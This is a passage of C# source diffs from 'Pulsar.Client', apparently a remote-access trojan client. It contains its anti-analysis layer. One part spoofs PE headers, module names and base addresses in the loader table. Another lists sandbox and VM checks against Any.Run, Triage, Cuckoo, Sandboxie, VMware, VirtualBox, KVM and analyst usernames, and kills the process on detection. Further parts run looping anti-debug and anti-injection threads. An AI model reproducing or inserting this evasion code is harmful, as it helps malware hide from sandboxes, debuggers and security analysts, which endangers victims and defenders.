string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer);
if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName)
{
if (IsPE_FlagsSet(SpoofOptions))
{
int[] SectionSpoof = {
Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer,
Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize
};
IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(hModule);
IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew);
if (IntPtr.Size == 8)
{
IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS64>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
else
{
IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS32>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
}
if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress)
{
TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000);
}
if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName)
{
IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake);
TableEntry.FullDllName.Buffer = FakeDllBuffer;
TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2);
TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2);
}
Utils.WriteStructToPtr(TableEntry, f, true, true);
return true;
}
f = TableEntry.InLoadOrderLinks.Flink;
}
}
catch
{
return false;
}
return false;
}
/// <summary>
/// Changes CLR Module ImageMagic to prevent critical info lookups.
/// </summary>
/// <returns>Returns true if successful, otherwise false.</returns>
public static bool ChangeCLRModuleImageMagic()
{
string CLR = Utils.GetCurrentCLRModuleName();
if (!string.IsNullOrEmpty(CLR))
{
return ChangeModuleInfo(CLR, Spoofs.ImageMagic);
}
return false;
}
/// <summary>
/// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing).
/// </summary>
/// <returns>Returns true if the ImageBaseAddress is suspicious, otherwise false.</returns>
public static bool CheckForSuspiciousBaseAddress()
{
try
{
PEB Peb = Utils.GetPEB();
if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress)
return true;
}
catch
{
}
return false;
}
}
}
+352
View File
@@ -0,0 +1,352 @@
using Pulsar.Client.Anti.Debugger;
using Pulsar.Client.Anti.Injection;
using Pulsar.Client.Anti.VM;
using Pulsar.Client.Config;
using System;
using System.Diagnostics;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Reflection;
//copy pasted / slightly edited from https://github.com/AdvDebug/AntiCrack-DotNet
namespace Pulsar.Client.Anti
{
public class Manager
{
private static bool _debugMode = false;
public static bool DebugMode
{
get => _debugMode;
set => _debugMode = value;
}
private struct DetectionMethod<T>
{
public T Method;
public string Name;
public string Description;
public DetectionMethod(T method, string name, string description)
{
Method = method;
Name = name;
Description = description;
}
}
private static void LogDebug(string message)
{
if (DebugMode)
{
Debug.WriteLine($"[DEBUG] {DateTime.Now:HH:mm:ss.fff} - {message}");
}
}
private static void LogDetection(string detectionType, string methodName, string description)
{
Debug.WriteLine($"[DETECTION] {DateTime.Now:HH:mm:ss.fff} - {detectionType} detected by '{methodName}': {description}");
}
private static void CheckVirtualization()
{
LogDebug("Starting virtualization detection checks...");
var vmChecks = new List<DetectionMethod<Func<bool>>>
{
new DetectionMethod<Func<bool>>(AntiVirtualization.AnyRunCheck, "AnyRunCheck", "Any.Run sandbox environment"),
new DetectionMethod<Func<bool>>(AntiVirtualization.TriageCheck, "TriageCheck", "Triage sandbox environment"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForQemu, "CheckForQemu", "QEMU virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForParallels, "CheckForParallels", "Parallels virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsSandboxiePresent, "IsSandboxiePresent", "Sandboxie sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsComodoSandboxPresent, "IsComodoSandboxPresent", "Comodo sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsCuckooSandboxPresent, "IsCuckooSandboxPresent", "Cuckoo sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsQihoo360SandboxPresent, "IsQihoo360SandboxPresent", "Qihoo 360 sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForBlacklistedNames, "CheckForBlacklistedNames", "Blacklisted VM/sandbox names"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForVMwareAndVirtualBox, "CheckForVMwareAndVirtualBox", "VMware or VirtualBox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForKVM, "CheckForKVM", "KVM virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMFilesDetection, "BadVMFilesDetection", "VM-specific files"),
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMProcessNames, "BadVMProcessNames", "VM-specific processes"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckDevices, "CheckDevices", "VM-specific devices"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.EmulationTimingCheck, "EmulationTimingCheck", "Emulation timing anomalies"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.PortConnectionAntiVM, "PortConnectionAntiVM", "VM-specific port connections"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.AVXInstructions, "AVXInstructions", "AVX instruction emulation"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.RDRANDInstruction, "RDRANDInstruction", "RDRAND instruction emulation"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.FlagsManipulationInstructions, "FlagsManipulationInstructions", "Flag manipulation instruction emulation")
};
int totalChecks = vmChecks.Count;
int currentCheck = 0;
foreach (var vmCheck in vmChecks)
{
currentCheck++;
try
{
LogDebug($"Running VM check {currentCheck}/{totalChecks}: {vmCheck.Name}");
if (vmCheck.Method())
{
LogDetection("VIRTUALIZATION", vmCheck.Name, vmCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to virtualization detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"VM check {vmCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"VM check {vmCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"All {totalChecks} virtualization checks completed successfully");
}
private static void CheckInjection()
{
LogDebug("Starting injection detection checks in background thread...");
var injectionChecks = new List<DetectionMethod<Func<bool>>>
{
new DetectionMethod<Func<bool>>(AntiInjection.CheckInjectedThreads, "CheckInjectedThreads", "Injected threads detection"),
//new DetectionMethod<Func<bool>>(AntiInjection.ChangeCLRModuleImageMagic, "ChangeCLRModuleImageMagic", "CLR module image magic modification"),
new DetectionMethod<Func<bool>>(AntiInjection.CheckForSuspiciousBaseAddress, "CheckForSuspiciousBaseAddress", "Suspicious base address (process hollowing)")
};
int cycleCount = 0;
while (true)
{
cycleCount++;
LogDebug($"Starting injection detection cycle #{cycleCount}");
int totalChecks = injectionChecks.Count;
int currentCheck = 0;
foreach (var injectionCheck in injectionChecks)
{
currentCheck++;
try
{
LogDebug($"Running injection check {currentCheck}/{totalChecks}: {injectionCheck.Name}");
if (injectionCheck.Method())
{
LogDetection("INJECTION", injectionCheck.Name, injectionCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to injection detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"Injection check {injectionCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"Injection check {injectionCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"Injection detection cycle #{cycleCount} completed successfully");
int randomSleep = new Random().Next(1000, 5000);
LogDebug($"Sleeping for {randomSleep}ms before next injection check cycle");
Thread.Sleep(randomSleep);
}
}
private static void CheckDebugger()
{
LogDebug("Starting debugger detection checks in background thread...");
var debugDetections = new List<DetectionMethod<Func<bool>>>
{
//new DetectionMethod<Func<bool>>(AntiDebug.NtUserGetForegroundWindowAntiDebug, "NtUserGetForegroundWindowAntiDebug", "Debugger window in foreground"),
new DetectionMethod<Func<bool>>(AntiDebug.DebuggerIsAttached, "DebuggerIsAttached", "Managed debugger attached"),
new DetectionMethod<Func<bool>>(AntiDebug.IsDebuggerPresentCheck, "IsDebuggerPresentCheck", "Native debugger present"),
new DetectionMethod<Func<bool>>(AntiDebug.BeingDebuggedCheck, "BeingDebuggedCheck", "PEB BeingDebugged flag set"),
new DetectionMethod<Func<bool>>(AntiDebug.NtGlobalFlagCheck, "NtGlobalFlagCheck", "NtGlobalFlag indicates debugging"),
new DetectionMethod<Func<bool>>(AntiDebug.NtSetDebugFilterStateAntiDebug, "NtSetDebugFilterStateAntiDebug", "Debug filter state manipulation"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugFlags, "NtQueryInformationProcessCheck_ProcessDebugFlags", "Process debug flags set"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugPort, "NtQueryInformationProcessCheck_ProcessDebugPort", "Debug port detected"),
new DetectionMethod<Func<bool>>(AntiDebug.NtQueryInformationProcessCheck_ProcessDebugObjectHandle, "NtQueryInformationProcessCheck_ProcessDebugObjectHandle", "Debug object handle detected"),
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_InvalidHandle, "NtCloseAntiDebug_InvalidHandle", "Invalid handle debugging technique"),
new DetectionMethod<Func<bool>>(AntiDebug.NtCloseAntiDebug_ProtectedHandle, "NtCloseAntiDebug_ProtectedHandle", "Protected handle debugging technique"),
new DetectionMethod<Func<bool>>(AntiDebug.HardwareRegistersBreakpointsDetection, "HardwareRegistersBreakpointsDetection", "Hardware breakpoints detected"),
new DetectionMethod<Func<bool>>(AntiDebug.FindWindowAntiDebug, "FindWindowAntiDebug", "Known debugger windows detected")
};
int cycleCount = 0;
while (true)
{
cycleCount++;
LogDebug($"Starting debugger detection cycle #{cycleCount}");
try
{
LogDebug("Executing HideThreadsAntiDebug");
AntiDebug.HideThreadsAntiDebug();
}
catch (Exception ex)
{
LogDebug($"HideThreadsAntiDebug failed with exception: {ex.Message}");
}
int totalChecks = debugDetections.Count;
int currentCheck = 0;
foreach (var debugCheck in debugDetections)
{
currentCheck++;
try
{
LogDebug($"Running debug check {currentCheck}/{totalChecks}: {debugCheck.Name}");
if (debugCheck.Method())
{
LogDetection("DEBUGGER", debugCheck.Name, debugCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to debugger detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"Debug check {debugCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"Debug check {debugCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"Debugger detection cycle #{cycleCount} completed successfully");
int randomSleep = new Random().Next(1000, 5000);
LogDebug($"Sleeping for {randomSleep}ms before next debugger check cycle");
Thread.Sleep(randomSleep);
}
}
public static void StartAnti()
{
LogDebug($"[ANTI] Starting Anti-Analysis protection systems at {DateTime.Now:yyyy-MM-dd HH:mm:ss}");
LogDebug($"Debug mode is {(DebugMode ? "ENABLED" : "DISABLED")}");
LogSystemInfo();
if (Settings.ANTIVM)
{
LogDebug("[ANTI] Anti-VM protection enabled - Checking for virtualization environments...");
LogDebug("ANTIVM setting is enabled, starting virtualization checks");
try
{
CheckVirtualization();
LogDebug("[ANTI] No virtualization detected - Anti-VM checks passed");
}
catch (Exception ex)
{
LogDebug($"CheckVirtualization failed with exception: {ex.Message}");
LogDebug("[ERROR] Anti-VM checks encountered an error but continuing...");
}
}
else
{
LogDebug("ANTIVM setting is disabled, skipping virtualization checks");
}
if (Settings.ANTIDEBUG)
{
LogDebug("[ANTI] Anti-Debug protection enabled - Starting background monitoring threads...");
LogDebug("ANTIDEBUG setting is enabled, starting background detection threads");
try
{
LogDebug("Starting injection detection thread");
Task.Factory.StartNew(() => CheckInjection(), TaskCreationOptions.LongRunning);
LogDebug("[ANTI] Injection detection thread started");
}
catch (Exception ex)
{
LogDebug($"Failed to start injection detection thread: {ex.Message}");
LogDebug("[ERROR] Failed to start injection detection thread");
}
try
{
LogDebug("Starting debugger detection thread");
Task.Factory.StartNew(() => CheckDebugger(), TaskCreationOptions.LongRunning);
LogDebug("[ANTI] Debugger detection thread started");
}
catch (Exception ex)
{
LogDebug($"Failed to start debugger detection thread: {ex.Message}");
LogDebug("[ERROR] Failed to start debugger detection thread");
}
LogDebug("[ANTI] Anti-Debug background monitoring is now active");
}
else
{
LogDebug("ANTIDEBUG setting is disabled, skipping debug detection");
}
LogDebug("[ANTI] Anti-Analysis protection initialization complete");
LogDebug($"[ANTI] Protection Status: {GetProtectionStatus()}");
LogDebug("StartAnti() completed successfully");
}
/// <summary>
/// Toggle debug mode on/off during runtime
/// </summary>
/// <param name="enabled">True to enable debug logging, false to disable</param>
public static void SetDebugMode(bool enabled)
{
DebugMode = enabled;
LogDebug($"[ANTI] Debug mode {(enabled ? "ENABLED" : "DISABLED")}");
}
/// <summary>
/// Get status of anti-protection systems
/// </summary>
/// <returns>Status string</returns>
public static string GetProtectionStatus()
{
return $"Anti-VM: {(Settings.ANTIVM ? "ENABLED" : "DISABLED")}, " +
$"Anti-Debug: {(Settings.ANTIDEBUG ? "ENABLED" : "DISABLED")}, " +
$"Debug Mode: {(DebugMode ? "ENABLED" : "DISABLED")}";
}
/// <summary>
/// Log system information for debugging purposes
/// </summary>
public static void LogSystemInfo()
{
if (!DebugMode) return;
try
{
LogDebug("=== SYSTEM INFORMATION ===");
LogDebug($"OS Version: {Environment.OSVersion}");
LogDebug($"CLR Version: {Environment.Version}");
LogDebug($"Process Name: {Process.GetCurrentProcess().ProcessName}");
LogDebug($"Process ID: {Process.GetCurrentProcess().Id}");
LogDebug($"Is 64-bit Process: {Environment.Is64BitProcess}");
LogDebug($"Is 64-bit OS: {Environment.Is64BitOperatingSystem}");
LogDebug($"Machine Name: {Environment.MachineName}");
LogDebug($"User Name: {Environment.UserName}");
LogDebug($"Working Set: {Environment.WorkingSet} bytes");
LogDebug("=== END SYSTEM INFORMATION ===");
}
catch (Exception ex)
{
LogDebug($"Failed to log system information: {ex.Message}");
}
}
}
}
+562
View File
@@ -0,0 +1,562 @@
using System;
using System.IO;
using System.Threading;
using System.Management;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using Pulsar.Client.Anti.Helper;
using static Pulsar.Client.Anti.Helper.Delegates;
namespace Pulsar.Client.Anti.VM
{
public class AntiVirtualization
{
#region WinApi
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandleA(string Library);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck);
[DllImport("ucrtbase.dll", SetLastError = true)]
private static extern IntPtr fopen(string filename, string mode);
[DllImport("ucrtbase.dll", SetLastError = true)]
private static extern int fclose(IntPtr filestream);
#endregion
/// <summary>
/// Checks if Sandboxie is present on the system.
/// </summary>
/// <returns>True if Sandboxie is detected, otherwise false.</returns>
public static bool IsSandboxiePresent()
{
if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Comodo Sandbox is present on the system.
/// </summary>
/// <returns>True if Comodo Sandbox is detected, otherwise false.</returns>
public static bool IsComodoSandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Qihoo 360 Sandbox is present on the system.
/// </summary>
/// <returns>True if Qihoo 360 Sandbox is detected, otherwise false.</returns>
public static bool IsQihoo360SandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if Cuckoo Sandbox is present on the system.
/// </summary>
/// <returns>True if Cuckoo Sandbox is detected, otherwise false.</returns>
public static bool IsCuckooSandboxPresent()
{
if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Checks if the environment is running in VMware or VirtualBox.
/// </summary>
/// <returns>True if VMware or VirtualBox is detected, otherwise false.</returns>
public static bool CheckForVMwareAndVirtualBox()
{
try
{
// Check registry for VM indicators (more reliable than WMI)
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS"))
{
if (key != null)
{
var biosVersion = key.GetValue("BIOSVersion")?.ToString();
var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString();
var systemProductName = key.GetValue("SystemProductName")?.ToString();
if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX")))
return true;
if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek")))
return true;
if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox")))
return true;
}
}
// Check for VMware tools registry
using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools"))
{
if (vmwareKey != null)
return true;
}
// Check for VirtualBox registry
using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions"))
{
if (vboxKey != null)
return true;
}
}
catch
{
// Registry access failed, assume not VM
}
// Fallback to WMI if registry checks fail
try
{
using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get())
{
foreach (ManagementBaseObject Item in ObjectItems)
{
string ManufacturerString = Item["Manufacturer"].ToString().ToLower();
string ModelName = Item["Model"].ToString();
if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware")))
{
return true;
}
}
}
}
}
catch
{
// WMI not available, assume not VM
}
return false;
}
/// <summary>
/// Checks if the environment is running in KVM.
/// </summary>
/// <returns>True if KVM is detected, otherwise false.</returns>
public static bool CheckForKVM()
{
string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" };
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
foreach (string driver in Directory.GetFiles(driversPath, "*"))
{
foreach (string badDriver in BadDriversList)
{
if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0)
{
return true;
}
}
}
return false;
}
/// <summary>
/// Checks if the current user name matches any blacklisted names.
/// </summary>
/// <returns>True if a blacklisted name is detected, otherwise false.</returns>
public static bool CheckForBlacklistedNames()
{
string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" };
string Username = Environment.UserName.ToLower();
foreach (string BadUsernames in BadNames)
{
if (Username == BadUsernames.ToLower())
{
return true;
}
}
return false;
}
/// <summary>
/// Detects bad VM-related files and directories on the system.
/// </summary>
/// <returns>True if bad VM-related files or directories are detected, otherwise false.</returns>
public static bool BadVMFilesDetection()
{
try
{
string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"};
string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" };
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
foreach (string file in Directory.GetFiles(driversPath))
{
if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase)))
return true;
}
return badDirs.Any(dir => Directory.Exists(dir));
}
catch
{
return false;
}
}
/// <summary>
/// Checks for the presence of bad VM-related process names.
/// </summary>
/// <returns>True if bad VM-related process names are detected, otherwise false.</returns>
public static bool BadVMProcessNames()
{
try
{
string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" };
foreach (Process Processes in Process.GetProcesses())
{
foreach (string BadProcessName in BadProcessNames)
{
if (Processes.ProcessName == BadProcessName)
{
return true;
}
}
}
}
catch { }
return false;
}
/// <summary>
/// Checks for VM-related device names.
/// </summary>
/// <returns>True if VM-related device names are detected, otherwise false.</returns>
public static bool CheckDevices()
{
string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" };
foreach (string Device in Devices)
{
try
{
IntPtr File = fopen(Device, "r");
if (File != IntPtr.Zero)
{
fclose(File);
return true;
}
}
catch
{
continue;
}
}
return false;
}
/// <summary>
/// Checks if the environment is running in Parallels.
/// </summary>
/// <returns>True if Parallels is detected, otherwise false.</returns>
public static bool CheckForParallels()
{
string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" };
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
{
foreach (string BadDrivers in BadDriversList)
{
if (Utils.Contains(Drivers, BadDrivers))
{
return true;
}
}
}
return false;
}
/// <summary>
/// Checks for specific disk drive models that indicate a virtual environment.
/// </summary>
/// <returns>True if specific disk drive models are detected, otherwise false.</returns>
public static bool TriageCheck()
{
try
{
// Check registry for disk information (more reliable than WMI)
